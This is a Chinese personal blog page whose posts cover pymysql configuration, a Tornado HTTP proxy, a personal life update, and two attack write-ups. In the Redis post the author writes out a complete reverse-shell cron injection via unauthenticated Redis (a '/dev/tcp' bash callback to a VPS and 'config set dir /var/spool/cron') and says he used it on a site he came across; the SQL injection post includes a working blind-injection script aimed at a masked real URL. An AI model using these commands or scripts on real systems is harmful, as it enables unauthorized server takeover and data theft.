Mosuan 发布的文章

python使用pymysql+conf配置文件连接mysql


因为跨平台需要,我mac的mysql端口不是3306,所以读取conf文件的时候需要在里面设置端口
比如这样的
[db]
db_user = root
db_pass = root
db_database = mscan
db_port = 3306
db_host = 127.0.0.1
1.png

然而在连接mysql的时候提示端口不能是字符串,我跑print type看了下是...

2.png

int(port)就可以了

3.png

代码如下

#-*- coding:utf-8 -*-
#code by Mosuan
#Email:934817794@qq.com
import ConfigParser
import pymysql

#生成config对象用于读取db.conf文件
conf = ConfigParser.ConfigParser()
#读取文件
conf.read('./db.conf')
db_host = conf.get('db','db_host')
db_user = conf.get('db','db_user')
db_pass = conf.get('db','db_pass')
db_port = conf.get('db','db_port')
db_database = conf.get('db','db_database')

def query():
    conn = pymysql.connect(host=db_host,port=int(db_port),user=db_user,passwd=db_pass,db=db_database,charset='utf8')
    cur = conn.cursor()
    print cur

query()


tornado实现http代理


#!/bin/env python
#-*- coding:utf-8 -*-
#code by Mosuan
#Email: 934817794@qq.com
import tornado.httpserver
import tornado.ioloop
import tornado.options
import tornado.web
from tornado import gen
import tornado.httpclient
import tornado.concurrent
import tornado.ioloop
import tornado.autoreload
import time
from tornado.options import define, options

#代理端口
define("port", default=8000, help="run on the given port", type=int)
#设置DEBUG模式
settings = {'debug' : True}
define("debug",default=True,help="Debug",type=bool)
class SleepHandler(tornado.web.RequestHandler):
    @tornado.web.asynchronous
    def post(self):
        return self.get()
        
    @tornado.web.asynchronous
    def get(self):

        def handle_request(response):
            '''
            回调发包返回页面内容
            '''
            if response.error:
                print "Error:", response.error
            else:
                self.write(response.body)
                self.finish()

        body = self.request.body
        #不一定是POST请求的
        if not body:
            body = None

        #发包
        raq = tornado.httpclient.HTTPRequest(
            url=self.request.uri,
            method=self.request.method,
            body=body,
            headers=self.request.headers,
            follow_redirects=False,
            allow_nonstandard_methods=True)
        #回调
        tornado.httpclient.AsyncHTTPClient().fetch(raq,handle_request)


if __name__ == "__main__":
    tornado.options.parse_command_line()
    app = tornado.web.Application(handlers=[
            (r".*", SleepHandler)
            ],debug=True)
    http_server = tornado.httpserver.HTTPServer(app)
    http_server.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()


Redis未授权访问反弹Shell方法1


思路来自:猪猪侠@乌云(http://www.wooyun.org/bugs/wooyun-2016-0195480)。
本文仅供安全研究,禁止非法使用!!!
先了解命令什么意思再去尝试,别删了别人的数据!

今天碰到一个redis未授权访问,很好奇是什么站就弹shell看看了。
记(zhuang)录(bi)下,老鸟略过吧。错误的地方说下,3Q。

连接redis,需要先安装redis
mac安装redis
brew install redis

常用终端连接redis参数
-p 指定端口
-h host
-a 密码

本地命令行执行下面命令,sss.sss.sss.sss写redis地址,xx.xxx.xx.xx写vps地址,-p指定端口连接,如果默认可以不写-p参数。

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xx.xxx.xx.xx/888 0>&1\n\n"|redis-cli -h sss.sss.sss.sss -p 13000 -x set 1

上面那句命令的意思:echo出bash反弹命令然后写入redis一个新的的字符串。
如下图
1.jpg

然后连接redis,执行如下命令

redis-cli -h xx.xx.xx.xx -p 13000

#修改本地数据库存放目录到计划任务目录
config set dir /var/spool/cron

#指定本地数据库文件名
config set dbfilename root

#同步保存数据到磁盘
save

注意这里写入计划任务,每分钟执行一次。
redis.png

反弹shell成功
fantan.png

crontab -r 清除所有计划任务,不然会一直请求你的vps。谨慎操作,内容太多我只能全部清除计划任务。

exit.jpg


[生活工作]最近一个月我在干嘛


一直觉得博客应该写点生活工作之类的,但是迟迟没有机会...

最近一个月,往老家跑了一趟,没能见他最后一面应该是我这辈子最遗憾的事情之一吧,经常看着照片发呆,心里空荡荡的,背负的多就不能过分的悲伤。越来越喜欢一个人夜深人静的时候发呆。珍惜身边的人啊朋友们,别让那些期待的眼光变成失望的眼光。

在这里强行给大家灌点鸡汤,我也一直这样要求自己。
做一番一生引以为豪的事业,找一个一生荣辱与共的妻子;在有生之年报答过我的人,并有能力帮助需要帮助的人
也给大家点负能量,这面这句大家无视吧...
生活不止眼前的苟且还有远方的苟且

再就是上个星期和dog win还有佳佳去redfree家蹭饭,说好的等五分钟就行了,竟然在那里等了dog win30分钟,人与人之间的信任都没有了。不得不说dog win这个英文名很吊...
天气热的要融化人了...不过redfree做饭确实很好吃,作为我们公司仅次于我的段子手兼我们公司的首席鉴黄师,不仅技术好饭还做的好,真心佩服。

工作方面,去别的公司几天,感觉那些所谓的测试真的一点安全意识都没有...再就是看了几个吊炸天的python插件,你们这些年轻人不能理解的插件,感觉贝贝和redfree还有A1opex真是太吊了,或许这就是我这个菜逼跟大牛的差距吧,要学习的地方还很多,也感谢各位一直对我的照顾。自己试着去写个类似的插件,感觉自己真是弱爆了,写是写完了,不过应该bug很多。

然后前几天用php写个小小小小小型的发邮件的程序...php好久没写了,写了几百行感觉好生疏...最后把代码发给大表哥@saline 还被鄙视了,这特么遍地是注入...其实我在开头的注释就写了注入以及安全问题开发完成后在解决。对了还看了tomcat爆破这个插件,大表哥写的,越来越觉得自己弱,我大表哥不亏是国际知名黑客终极日站王,先膜拜一发...

然后,我总觉得说那么多然后感觉很别扭,但是我想不出怎么写了...然后就继续然后吧,今天在看Tangscan API文档,准备写点关于工作常用的小工具。写的过程感觉自己越来越弱...在这里问句,python怎么格式化输出?print("name:%-10s age:%-3s" % (x,y)) 这样name长度不一样,格式化的很难看,用if判断下name的长度然后截取部分显示,但是有的name是中文有的name是英文...格式化出来还是很难看...谁有好的方法说声啊。
东京食尸鬼.jpg

#最后写个计划:
#未来三个月我要干嘛?继续看大牛们写的插件,去理解去实践,学习爬虫,试着去开发渗透中常用的插件,或许会造轮子。
#Mosuan@2016.07.02


记一次简单Mysql注入(布尔型过滤逗号,附python脚本)


#先感谢下@莲藕炖猪蹄和@redfree。姿势不在多,只要你的姿势正确欢迎来给我普及新知识。绝对虚心求教。

再就是标题党一回,今天碰到一个注入,过滤了逗号,sqlmap并没有跑出来,习惯性装逼手注一下。

过滤逗号的情况下布尔型注入可以用substring这个函数,正常用法substring(@@version,1,1)=5,猜@@version的第一位是5。

但是这里过滤了单引号,前段时间@莲藕炖猪蹄 大牛刚给我普及了一下,substring不用逗号也可以猜解的用法。

substring(database() from 1) 这样是猜解完整的数据库名字。

简单用本地数据库演示下。
1.jpg

一开始length(database())得到9
2.jpg

接下来猜数据库名称 substring(database() from 9) 这样猜解数据库名称最后一个字符
3.jpg

并没有猜出最后一位是什么字符…这特么就很尴尬了....刚开始只知道过滤逗号,当时就想到了应该是还过滤了什么关键词....

怎么判断过滤了什么字符?简单判断:length下当前的注入的语句,如果过滤了注入语句中的某个关键词肯定返回false。
4.jpg

已知DATA SIZE为3453为True。
5.jpg

这里证明没有过滤什么东西...

这个时候@redfree那边说他注入出来了...语法是一样的…我擦....
检查下python代码,redfree说他那边加了headers,如果不加headers就返回False...
这尼玛就很尴尬了...加上headers再跑下...

后面redfree说 注释方式有问题…我擦…以前是个开发狗没用过--注入,我多余的把—后面的%20删了,原来--后面后面是个单引号...也就是说--不是注释了。
查了下mysql手册 注意--注释风格要求你在--以后至少有一个空格!MySQL3.23.3和以上版本支持'--'注释风格,只要注释跟在一个空格之后。

好吧,加上%20果断就跑出来了...其实用%23可以不用加空格...
6.jpg

脚本如下:

#-*- coding:utf-8 -*-

import requests

payload = list('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_')

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", 
    "Accept-Encoding": "gzip, deflate"
}

user = ''
num = 9
strings = '' 
for x in range(1,10):
    for y in payload:
        y  = y+strings
        url = "http://***.***.**.**/**/user/buyerChannel/indexNew?buyer_id=25966%%27)+AND+substring(database()+from+%d)=%%27%s%%27%%23&_=1466596215826" % (num,y)
        try:
            response = requests.get(url,headers=headers,timeout=5,verify=False)
            if response.content.find('****') != -1:#改成你想查找的关键词

                strings = y
                num -= 1
                print url
                break
        except Exception,e:
            pass
print '当前数据库名称为: ',
print strings